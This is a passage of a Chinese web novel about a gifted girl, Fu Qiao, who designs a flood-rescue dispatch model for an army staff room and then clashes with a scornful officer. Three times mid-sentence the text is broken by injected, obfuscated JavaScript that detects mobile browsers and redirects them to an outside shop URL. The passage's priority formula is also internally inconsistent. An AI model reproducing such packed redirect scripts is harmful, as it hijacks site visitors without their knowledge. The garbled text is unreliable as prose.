“接我?”她边换鞋进屋边道。 “说是什么编队安排的事情,哎呀,也不知道他怎么想的,意思现在人手紧张,让你过去帮帮忙。” 傅俏怔了怔,心道莫非是刘干事又去汇报了?他不是觉得自己乱来吗? 洗了澡一出来,混合着皂香潮热的蒸汽散去,扑鼻而来的是糖水的甜味。 她轻轻翕动着鼻子嗅了嗅,这份甜味中似乎还揉杂生姜的辛辣味道。 “俏俏,你洗好了吗?” 荀敏听见水声停了一会儿,便在厨房里大声问道。 傅俏擦着头发走到餐厅,“荀姨,找我什么事啊?” “红糖姜炖蛋。”她小心翼翼地端了只素瓷汤碗出来,上面冒着袅袅白气,“趁热吃。” 清水伴着红糖一道煮开,在水似沸未沸时打入两个鸡蛋,等水再滚时加姜片,转小火咕嘟一会儿,等鸡蛋全熟就可以起锅了。 这样做出来的荷包蛋不仅没蛋腥,姜也只留其辛辣,祛除了泥土味。红糖香醇绵柔,中正调和,完美地将食材融合在了一起,甫一入口,整个人都暖起来了。 滴滴! 傅俏吃得额尖都沁出了薄汗,刚放下汤匙,楼下就传来了喇叭声。 她一愣,下意识地看向荀敏。 “应该是来了。” 荀敏走到窗前往下瞅了眼,是熟悉的车牌,便对傅俏道:“碗就放那儿,去把头发吹一吹,吹干你就跟车走吧。” 一切都发生得如此之快。 再次站到团部机关一楼时,看着眼前熟悉的场景,若非身上衣物干爽,舌尖的甜味尚未完全褪去,傅俏都要怀疑她方才是否离开了。 来接的人仍是刘干事。 “小傅,你跟我来。” 这次他直接将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593646|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她带到了参谋作战室。 咚咚。 抬手在大敞着的门板上敲了两下,屋内数道目光顿时齐刷刷地望了过来。 “团长,参谋长,人已经带到了。” 刘纪说罢侧身,招招手让傅俏进去。 众人的眼神纷纷汇聚在了她端着身上。 在场的除开赵远之外,其余四人均是一愣,脸上不约而同地浮现出惊讶的神色。 林煦是最先开口的,难以置信地大喇喇道:“刘干事,没毛病吧?你别不是色迷心窍了!这小妮能有那么神奇?” “林煦!” 陈康盛和赵远私交不错,知道傅俏的来路,训斥道:“说什么不三不四的?” 林煦不甘被骂,开口就想争辩,好在此时杜琪已然回了神,眼见团长脸色发青,事态恐要不好,便强行将话题翻过。 “哎呀!这位就是小傅同志吗?!我们终于把你等来了,久仰久仰。” 杜琪生了张圆脸,又架了副圆框的银边眼镜,明明长得还算眉清目秀,却有种虎头虎脑地书呆子气。 他咋咋呼呼地与尚是一头雾水的傅俏强行握了个手,随后便开门见山道:“刘干事说你早就想到了要让六号编队走龙藏津去长胜街道,还说你连陵州人都不是,只是在隔壁收发室坐了一会儿就想到了。你能不能给我们说说,你是怎么做到的?” 傅俏顿了顿,没有开口,反而看向了赵远。 他朝自己微微笑了笑,点点头。 她收回目光,略一思忖,老实道:“因为这是唯一的解决方案,没有别的选择了。” 林煦不服气道:“你怎么敢说这就是唯一的方案?” 傅俏眉头微蹙,眼中透出疑惑,似乎不明白他为什么会问出这么简单的问题。 “因为长胜街道的信息是临时中插的,也就是说这个任务不在原本的任何规划之内,所以就代表着需要一只额外的救援力量介入。但很明显,水灾下各种问题层出不穷,根本就不会有闲置力量,这样就必须从‘空载’但处于‘任务中’的编队来入手处理。这种编队要么是刚刚启航,要么是返航,还要能够保证信息流转通畅,命令及时下发,能符合这个要求的,不就只有第六编队吗?” 林煦将她疑惑的目光视作了“轻蔑”,团长和参谋长看着,他一时只觉脸上更挂不住,又追问道:“那四号编队呢?不也符合你这套说辞吗?你怎么判断不行?” “四号怎么会符合?” 傅俏大为不解,回答道:“首先不说四号编队本来就是出发去龙湖船厂救援的,你把他们叫回来,那龙湖船厂的灾民怎么办?就算退一步说,龙湖船厂的情况不比长胜紧急,可是四号编队已经出发了,五分钟的时间里冲锋舟至少能走三公里,而且舟上没有电台的,总部要怎么联系他们,命令又如何下发呢?难道找人去追?那又哪来的资源去追呢?” 林煦被问得哑口无言。 满室一时无人说话。 陈康盛偏过了头,徐修则是两眼发亮,目光灼灼地盯着傅俏,一副终于看到宝贝的神情。 “俏俏。” 最终还是赵远开口,他笑眯眯地说道:“你是年轻人,记东西快。刚好你陈叔叔啊,就一直问我要人,说我把他的两个参谋当牛做马地用,白天黑夜地不给人休息,再聪明的脑子都要生锈了!你看你能不能卖赵叔个面子,来帮帮手。” “我?”傅俏怔忡一瞬。 28. 工作 傅俏就这样成为了一位“无名无份”的临时工。 原本在陈康盛的安排下,负责带她入门上手工作的是林煦。 很显然,他并没有把自己当“人”看,而是自己部下的“磨刀石”。 赵远听罢,立马拧起眉头道:“俏俏性格柔和,还是和杜琪在一块儿好些。” 陈康盛似乎不觉得自己的决策有何不妥,反而直言道:“林煦正缺小傅这样的柔和性格磨磨脾气,也好让他多学习学习别人是怎么办事,处理问题的。” “不妥不妥。” 赵远坚持道:“杜琪,我把俏俏交给你了。你可要看顾好她,她是我请来帮忙的,到时候可要向我夫人‘完璧归赵’的。” “是。”杜琪应道。 傅俏留了只耳朵听着他们讨论着自己的归属,心神早就飞到了参谋作战室里的那张图纸上。 现在站得更近,自然看得更清晰了,许多上午不曾注意到的小地点都清清楚楚。 不知过了多久。 “俏俏?” 有人拍了拍她的肩膀。 傅俏猛地回头。 赵远指了指杜琪,说道:“我还有事,你好好干,有什么问题就问他。” 她使劲点点头,认真道:“记住了。” 赵远笑了笑,没有再多说什么,与刘纪一道离开了。 隔壁的信息仍在不断传来,杜琪和林煦很快就好了又投入到了工作状态之中,反倒显得傅俏有些格格不入。 不过她还没来得及惆怅,立马就有个任务找上了门。 徐修笑呵呵地走上前来,“小傅同志,我有个想法,不知道你能不能办到。” 傅俏道:“您请讲,如果是我能力范围内的,我一定做好。” “诶,这话说得谦虚了啊。你可是能把地图记下来的人!” 徐修先是刻意给她戴了顶高帽,随后道:“其实也不是什么难事,就是吧…水患这事儿发生得突然,从我们团开始陵州的救灾工作起,哎呀……虽然大家都是日夜不休地干,但总有种捉襟见肘的感觉。你看看,能不能想个办法,让整个这个后勤安排和前线工作有效地结合起来……” “老徐!”陈康盛面色不虞地唤了他一声,又看了眼傅俏。 他不咸不淡地道:“你不要为难人家。” “怎么能说是为难呢?!我这是相信小同志的能力。”徐修说着还特意扭过脸,征求她的意见,“小傅同志,你说是不是?” 傅俏有些读不懂陈康盛的表情,正思索间,那厢忽然又抛了个问题。 依照习惯,她并没有开口。 陈康盛见状,“好了好了。老徐,你看你把人小姑娘逼成什么样子了。这件事啊,我看还是先不急。” 徐修闻言,脸上神色几变,终是长长叹息一声,点了点头算作应下,眉宇间失落难掩。 傅俏忽然道:“我可以。” “嗯?”徐修讶异地看向她。 她说道:“从我的角度理解,徐股长的需求从我们的现有资源和未来可能获得的增援出发考虑,合理地安排整个陵州的救援力量,达到动态下的全局最优,是吗?” 徐修顿时又喜上眉梢,忙不迭道:“对对!就是这个意思!怎么样,小傅同志,你能不能出一套方案?” 傅俏点点头,思忖着道:“这个问题倒不难,但是得先搭建起一套信息流转的系统。” “什么系统?你说,我立马找人给你去弄!” 她又摇摇头。 “哎呀!” 徐修跺了跺脚,“你怎么又摇头是什么意思?要什么你就说嘛,急死人了这真是。” “我想要现在陵州的全部相关信息,包括可用的设备状态、物资仓储、人员情况,灾情分布、电台分布、最好还有未来可能抵达的增援情况……” 傅俏看着对面两人的神情都逐渐严肃起来,声音也不禁越说越小。 在旁边做事,但耳朵没闲着听完了全程的林煦从鼻子里喷出一声冷笑。 “还真是赵括啊,纸上谈兵。” 杜琪在桌子下踹了他一脚,示意别乱说。 陈康盛严肃道:“你要这么多信息做什么?你知不知道,这里面有很多都是军事机密,有保密条令,连普通士兵甚至一些军官都是不可以知道的。如果你只是一个陌生人,凭你刚才要得这些东西,就会给自己惹来大麻烦。” 徐修适时道:“老陈,别吓唬孩子。小傅,如果没有这些资料,你是不是……就办不成这事儿了?” 屋里霎时安静下来,仿佛连空气也凝固住了。 “当然不是了。” 空气又重新开始流通。 傅俏道:“我可以什么具体内容都不要,先自己想一个模型,把运算方法告诉你们,然后你们自己往里面填入具体信息就好了。嗯…效率…暂时就不想太多了,但是调度的效果我想应该会比现在好。” “嘁。吹牛也不打打草稿。”林煦又道。 “林煦!”陈康盛呵斥一声,“不说话没人把你当哑巴!” “没关系。” 傅俏倒是显然十分淡然,冷静道:“林参谋对我看法,是因为不相信我的能力,这很正常。” 这番话一出,陈康盛和徐修不由得相视一眼,都从对方的眼中看到了欣赏。 旁的先不说,但是这份胸襟气量,便不知道强过多少人。 “我先做方案。现在是…” 她的目光在四周逡巡,终于在墙上看到了挂钟,“差不多快十一点钟。大概在下午三点左右我输出方案,然后借用杜参谋和林参谋的十五分钟来向二位介绍说明方案。有任何问题,大家都可以在会议上提出来。” 话音落地,傅俏见无人响应,又反问了一遍。 “二位,可以吗?” 林煦不耐烦道:“看情况吧,什么了不得的破方案…还需要专门讲解,浪费时间嘛不是…” 杜琪挠了挠脑袋,诚恳道:“小傅同志,不是我们不想参加。是我们也不知道那会儿有没有空,通常来说下午都特别忙。” “那就晚上,不管多晚都可以。”她利落道。 “咳!”陈康盛咳嗽一声,说道:“小傅,六点吧。我和老徐也一块儿来听听,你不会不欢迎吧?” 傅俏道:“当然可以了,如果二位首长能参加就最好了。” “好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599323|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜琪,你这会就把手头上的资料整理一下,能给的都拿给小傅看看。林煦,要是临时有事情找来,你先处理。” 陈康盛一句落定。 人在全神贯注于什么事情的时候,时间往往过得飞快,仿佛在不经意间流失。 正如爱因斯坦开过的相对论玩笑,对大部分人的体感而言,和美丽女郎坐在壁炉边说笑的时间,总是比冥思苦想着学习新东西的时间流逝得快。 虽然说很多信息都是保密内容,但杜琪还是整理出了一厚沓字迹密密麻麻的资料,A4纸张的尺寸,摞起来至少十公分。多数都是关于陵州市的一些公开地理水文信息,灾情对地质的影响,气象台对天气变化的观测,还有连日来陵州各区的受灾情况。 对寻常人来说,这些资料不仅专业晦涩,而且精细难懂,认真研读都会落得脑袋空空,更别提一目十行地读法了。 哗啦,哗啦。 然而,傅俏查看资料的速度并不慢。 纸张翻动的声音不绝于耳,有规律,有节奏,听得林煦莫名地心烦意乱,转过脸就冲着她说道。 “你要看就好好认真看,总是乱翻什么啊?” 哗啦。 傅俏又翻过一页,仍全神贯注地阅读着手中资料,对林煦的埋怨置若罔闻。 “喂?!” 见这么个小妮对自己都爱搭不理的样子,他直接起身,在她的桌前敲了两下。 哗啦。 傅俏现在正在读的已经是那摞文件里的最后一份了,还差两页就可以看完了。 “我和你说话呢!装什么聋啊?” 哗啦。 她看到最后一页了,这页只有最上面的三分之一。 杜琪刚从隔壁信息收发处回来,一进屋就发现林煦气鼓鼓地站在傅俏的桌前,而小姑娘则是岿然不动地稳坐在原处,一心一意地读着资料,压根就没理会他。 “你……” 林煦气极,开口想说什么,却只见傅俏终于变换了动作,轻飘飘地合上资料,将其放在了右边那一摞文件的最上层。 随后才不紧不慢地抬头看他,悠悠道:“好了。看完了,你可以坐回去了。” “你?!” 杜琪看到林煦一张脸涨得通红,生怕他做出什么不理智的事情,赶忙将人拉回到了自己座位上。 “你说你,这么大的人了和一个小妹妹置得哪门子气?好了好了,坐下坐下,事情还多着呢…” 林煦被强行按回到了椅子上,愤愤道:“现在都已经三点了,她还什么都没开始干。我倒要看看到六点钟,能搞出什么花样?!” 六点准。 徐修和陈康盛前后脚抵达,看起来像是刚忙完,连饭都没来及吃就过来了。 傅俏通过杜琪找了几块暂时闲置的黑板,现在上面已经写满了内容。 陈康盛扫过两眼,只见杜琪就站在近前,盯着黑板上的内容兴奋得傻乐,那头乱蓬蓬的头发眼下简直和鸟窝没什么差别,林煦则是双臂环抱在胸前,离得不远不近,一脸牙疼的表情。 他知道,那是林煦吃瘪的神情。 难道这个小姑娘真的做出来了什么了不得的东西? 29. 运算 “各位都到齐了,咱们就开始吧。” 傅俏侧身露出后方的黑板,讲解道:“因为时间有限,资料也有限,所以我整理出了这个最简单、最容易理解、最快能上手操作的框架。” 她指着黑板上的表格道:“第一步,也是最重要的一步,明确任务,评估并且量化对应灾情的危险程度。” 陈康盛和徐修纷纷上前,看着表格的纵轴从上到下,分别写着“任务类型(T)、紧急程度(U)、后果风险(R)、救援窗口系数(W)”,每一项的后面还有对应的评分机制。 “任务类型…T1生命救援,三分,解救危急被困人员;T2工程抢修,二点五分,堤坝加固,管涌封堵,电力保障;T3物资运输,一分,运送水,食品,药品等物资……” 徐修将第一行表格的内容念了出来,质疑道:“不行不行,小傅同志!这个工程抢修不能都算作二点五分啊,有的事情急,比如管涌,溃坝。有的没那么急,什么停电停水的…还有啊,这救人也不能都算作三分,有些地方情况好……” “老徐,先别着急啊。没看到下面还有吗?” 陈康盛指了指第二行,“这里有专门的紧急程度评估。你看,紧急程度里把对生命有即时威胁的设为第一档,形势严峻且风险不断累积的定第二档,情况稍微稳定的是第三档。而且不仅是有紧急程度评估,你瞅瞅这第三行是什么?” “后果风险?” 徐修念了出来,“影响五十人以上生命安全或重大经济损失如百万级,三分;影响十人至五十人左右生命安全或区域性关键经济损失(数十万级),两分;影响十人以下,一分。” “怎么说?” 陈康盛道:“你啊,什么时候也吃不了热豆腐。要问问题,先听人家把事情讲完嘛。” 徐修讪笑两下,朝着傅俏道:“好好。小傅同志,你继续说。” 她略略颔首,对照着表格道:“在明确了任务和灾情情况后,接下来就需要知道救援窗口期大概有多久。如果说任务点是已知高风险区域,气象又会在未来的两个小时内继续保持甚至恶化,那这个任务的救援窗口期就是最短的,赋三分;而任务点环境恶劣,但情况在未来两小时内还算稳定的任务是紧急的,或是现在情况稳定,但在未来两小时内会急剧恶化的,赋两分;至于最后受灾情况较轻的,赋一分。” 话说到这里,傅俏刻意顿了顿。 “既然各项因子已经确认,任务优先级得分(P_score)的公式可总结为……” 她拿起红色粉笔在黑板最下方的公式下利落一划,“P=T×(U+S+W)。举个例子,一个在高风险区封堵主干堤坝管涌的任务,得分就是T3=2.5,U=3,R=3,W=3,P=22.5。” 陈康盛听着点了点头,很快又蹙起了眉头,“那这个高,中,低风险区域,要如何划分?由何判断呢?” “好问题。” 傅俏顺势拉过第二个黑板,赫然是一副陵州地图,然而与寻常地图不同的是,上面划满了横纵线条,而整个陵州地界就被这些线条给分割成了一个个小方格。 “地图网格化,再加上聚类算法和实时气象信息,以及估测的未来气象信息。” 她面向地图而立,双手随着讲解在格点间移动。 “我将整个陵州市的区域划分成了1公里*1公里的网格,以北为指向,横轴和纵轴分别由X-##,Y-##表示。用这样的方法,最高可以表达至【99,99】,完全可以囊括住所有地区。” 说着又变换了脚步,指向黑板左上角夹着的一页文件,解释道:“至于风险程度划分,则是基于历史任务情况的分析。我用了四个因子,分别是历史灾情情况、实时动态环境、预测气象情况、和历史救援能效—也就是不仅要考虑气候条件,也要把城区的建筑环境、道路环境、甚至是人员等待的耐受程度考虑进入。具体的赋分方法,我写在了这里。结合四个因子的影响,再按照权重进行分数叠加,就可以得出每个网格的综合风险值是多少。” 陈康盛此时的心神已经完全沉浸在傅俏的讲解之中,目不转睛地盯着这幅网格地图,似乎一切纷繁失序,杂乱无章的信息忽然都变得明晰可见了起来。 “接下来,就是要基于这些历史的综合风险值去进行聚类,用k-means的算法来对这里所有932个格子进行区分,这样就可以分出高/中/低风险。” “k…克…什么?”陈康盛不解问道。 “k-means。”傅俏道:“就是一种最常见的无监督的聚类算法,可以将数据自动聚集成K个簇,簇内之间的差异小,簇与簇之间的差异大。用在这里,是为了强行区分风险的等级。” “哦哦。”陈康盛语焉不明地应了两声。 她以为陈参谋长是在担心算法的运算效率,便道:“参谋长,您放心吧。这是最简单的算法之一了,人工运算一点问题都没有。而且我也没有把计算频次放得太高,只需要三十分钟做一次运算,保证动态的准确性就可以了。” 他稍显迟滞地点点头道:“好,好,你继续,继续。” 傅俏又移步走向了第三块黑板。 “这里就是第二部分,我们自有资源的整合和对应的动态调度方案。” 黑板上同样画着表格,她介绍道:“从杜参谋下午给我的资料来看,我将现有资源做了大致的分类与编码。A类是救人运输,主要为冲锋舟和快艇,载人为主,机动性强。B类是货载运输工具,例如卡车等。C类就是工程服务,意思是具备专业技能的人员及工具组合,可是完成专业化的抢险作业。D类是医疗队伍,指得是随队或者驻点医疗力量。” 傅俏说着扭头望向第一块黑板。 “有了任务项,也有了救援力量。那么现在需要解决的问题就是匹配资源,从高P任务开始按照类型来对应救援类型,确定任务的起始点,接下来就可以对路径进行规划。” 听到这里,林煦按捺不住,大声质问道:“规划路径?难道你是连出任务走哪条路都要管吗?” 傅俏疑惑:“当然了。你有什么问题吗?” 林煦冷笑一声,半是嘲弄半是讽刺地道:“你还真以为自己是诸葛亮了?运筹帷幄,决胜千里?人家在现场的官兵,难道还不如你清楚走哪条路来得快?” 傅俏双眉紧蹙,檀口微张,直直地盯着他,一时无话。 再好几次的欲言又止之后,她终于忍无可忍地问道:“林参谋,你有受过什么教育吗?哪怕是初中?” 不待林煦反驳,少女的情绪肉眼可见地激动起来,身形快速地穿梭于在黑板之间,指着上面写满的数值公式。 “难道我刚才说的那么多是白说了吗?!这是个系统性问题!什么是系统,你知道吗?!既然是系统问题,那就必然要在系统下解决!明白吗?” 她的语速越来越快,以至于众人不得不打起精神,全心全意地去听说话的内容。 “你以为路径规划很简单吗?那请问你要追求的是个体最优还是全局最优?是时间最短还是路径最短?如果两只队伍要走同一条路,只有一辆车能过,哪请问该谁先谁后,谁该拥有路权?出去的队伍完整任务后世应该立刻返回起点,还是应该就近去做下一个任务,而此时的任务该怎么分配,所有的队伍要形成怎么样的循环才能保证所有队伍的空载率最低,利用率最高?理论上应该把救援力量也根据聚类算法划分成辖区,请问你觉得队伍的辖区该怎么划分?我告诉你,队伍部署的辖区范围也要根据历史的任务情况和气象情况还有队伍的条件进行计算……” 在场所有人都被怔住了。 然而傅俏依旧没有停下。 “还有约束条件…人不是机器,不可能二十四小时不眠不洗,不吃不喝,所以的这里后续还要考虑救援队伍的补给与轮休问题…还有任务完成约束、资源唯一性约束、时间逻辑约束等等……” 她步步向前,直至恰好站在林煦面前一臂之处。 “你知道你所嘲笑的这个‘路径规划’到底是个什么问题吗?” 少女的语气森森,完全不近人情。 林煦莫名地感到一阵心虚,却仍强撑着不让别人看出他的慌乱,还摆出一副了不得的模样。 “你知道你说啊,爱显摆就显摆呗。” “优化。这是优化问题,你知道优化这个词的意思吗?” 傅俏的眼瞳骤然一缩,目光即刻转向陈康盛,宛如是在用眼神向他发问,为什么竟然能容忍这样的人在部队?还是参谋? 陈康盛轻咳一声,微微偏过了脸。 她移回视线,看着林煦,一字一句说道。 “在学术的问题上,我可以接受质疑,但不能接受愚蠢。在态度的问题上,我可以接受愚蠢,但不能接受轻浮傲慢。” 傅俏说罢,径直走到了陈康盛面前,强迫他必须要面对这个局面。 “对不起,参谋长。” 她微微向他躬身道歉,惹得陈康盛急忙去扶。 然而她竟是后退了一步,让他伸出的双手落在了空中。 “和这样愚蠢又轻浮的人在一起共事,对我来说是种羞辱,而事情的最终结局也会必然是失败。我不喜欢失败,所以…请恕我有负您的所托了。” 傅俏又走到了徐修面前,这位五大三粗的汉子此时急得眼珠直转,脑门上都出了汗,想说些什么,却被她抢先。 “徐股长。你想要的方案,我都已经写在了黑板上。大致该怎么用,我也和杜参谋说了一遍,有什么问题,您大可以去找他。” 杜琪原本站在一旁,忽然听见提及自己,下意识地看了过来,凑巧与她的目光撞了个正着。 他冲着傅俏咧嘴笑了笑。 这一笑,反倒衬得屋内的气氛更加怪异。 事态总是变幻得太快,傅俏才说了不到十五分钟,就从最开始的热火朝天到了现在的一地鸡毛。 “告辞了,诸位。” 她几句话说罢,众人还未彻底反应过来,便见着那道高瘦身影已经往外走去了。 “你不准走!” 林煦断喝一声,“什么意思?劈头盖脸地把我骂了一顿就想跑?” 傅俏回身,上下打量了下他,“你到底是智力有问题,还是听力有问题?” 林煦怒道:“你还说?!” 她平淡道:“我为什么离开,理由在三十秒之前就已经说得很清楚了。但凡是听力正常,智力正常的人都能理解,可是你偏偏把我拦住了提问,所以我不得不怀疑你的脑子或者耳朵。” “你!你欺人太甚!”林煦恼道:“我要求你给我道歉!必须道歉,否则你今天别想从这里走出去。” “我劝你还是赶快睡一觉吧。” 傅俏的脸上流露出无奈的神情。 林煦一愣,“为什么?” “因为梦里什么都有。” 她说完便就此离开了。 傅俏才不担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜琪为难道,“可您是不知道,那小傅同志吧,说这就已经是最简单的方案了,要是她能全都自己算,肯定会设计个更好更全面的模型。所以每次我一想开口吧,她俩眼珠子水汪汪地就那么看着你,透着的眼神就是‘这够简单吧’,我还哪里好意思问啊。” “你,你啊!” 说老实话,徐修方才虽然没有完全听明白傅俏对方案的讲解,但多年的经验已经让他形成了基本的判断能力。眼前的这套什么系统模型,绝对是能解他燃眉之急,大大缓解陵州市救灾工作的关键所在。 “你说你也是一个脑子,她也是一个脑子,怎么差别就这么大啊!” 杜琪自知理亏,便出主意道:“要不…咱们去把人请回来吧。” “这还用说嘛?!等老赵开完会,我去卖卖这张老脸吧!” 他现下的心情,不亚于白白坐拥一座金山宝库,却不知道如何打开,更伤心得是,他明明就离那把钥匙一步之遥! 都怪那个林煦! 砰! 陈康盛一巴掌狠狠拍在办公桌上。 他厉声道:“你到底想干什么?现在是什么节骨眼上?你竟然还和一个小姑娘斗?现在好了吧,把人气跑了吧?剩下这个烂摊子怎么收场?” 林煦委屈叫屈道:“姨丈!你干嘛骂我啊?你没听到是她先挑事的嘛?是她骂我的!再说了,谁知道她故弄玄虚,搞得那么个乱七八糟的什么系统,什么模型的有没有效果,我听都没听说过,一个高中生,能做什么大事?说不定她就是因为根本做不出来,这才找个借口逃跑呢!” “你少废话!” 陈康盛大手一挥,压根不听他狡辩。 “那东西有没有用,我自有判断。别的不说,你要有本事,你怎么不弄一个出来,就不说是这么一个完整的,复杂的,哪怕只是其中的一个点!风险评估,任务分级…你那猪脑子能想到吗?能想出来吗?还有啊,到底是谁先挑事的?你好意思说吗?不是你打一开始就看人小姑娘是鼻子不是眼睛的嘛?现在又学猪八戒,倒打一耙了是吧?” 林煦道:“姨丈!您这说得也太难听了吧?!火气这么大干嘛?那妮子说白了不就是赵远的什么亲戚之类的吗?您没瞅见她一来的那神气样儿吗?您至于吗?您要是害怕影响您前途,这事儿我和我姥爷说去。” 陈康盛一听,立马将办公桌上的电脑话筒提起来给他,“好好好。你说你说,呐,我这里有电话,你马上就打给你姥爷去。看我干什么?拿着啊!” 林煦此时才觉察出了些异样,迟疑道:“难道…她还有什么特殊来历?” “怕什么啊?你姥爷不是师长吗?”陈康盛道。 林煦心里愈发没底了,“姨丈,你就别吓唬人了,快说吧。” 陈康盛斜了他一眼,“师长?你就是找军长也没用!你知道这个小傅是谁接来送到赵远家,托他们照顾的嘛?” “谁啊?” “方承!” “是他?!怎么会…?”林煦的脸瞬间扭成了一团,“他……” 陈康盛接话道:“他怎么?他前几天特意请假,送这个小姑娘回老家去收拾行李,紧接着马不停蹄地又把人带了回来,特意托付到团长家里照顾的。我就问你,两年了,你什么时候见过方承休假?还有,你能想象方承那副恨不得眼睛长在脑门顶上的性子去求老赵,让他好好照顾这姑娘是什么样子吗?” 林煦闻言,感觉牙都要被酸到了。 “那…那现在怎么办……”他的气焰顿时垮塌,弱央央地有气无力道。 陈康盛瞟了眼这个一事无成的外甥,沉吟片刻,说道:“你外出参加救援去吧。正好淮江大堤还缺人……” “姨丈!”林煦惊唤道,“那太危险,太苦了……” “苦什么?!” 陈康盛斥道:“方承带着三连在那儿干了两天两夜了,他有喊过一声苦吗?!”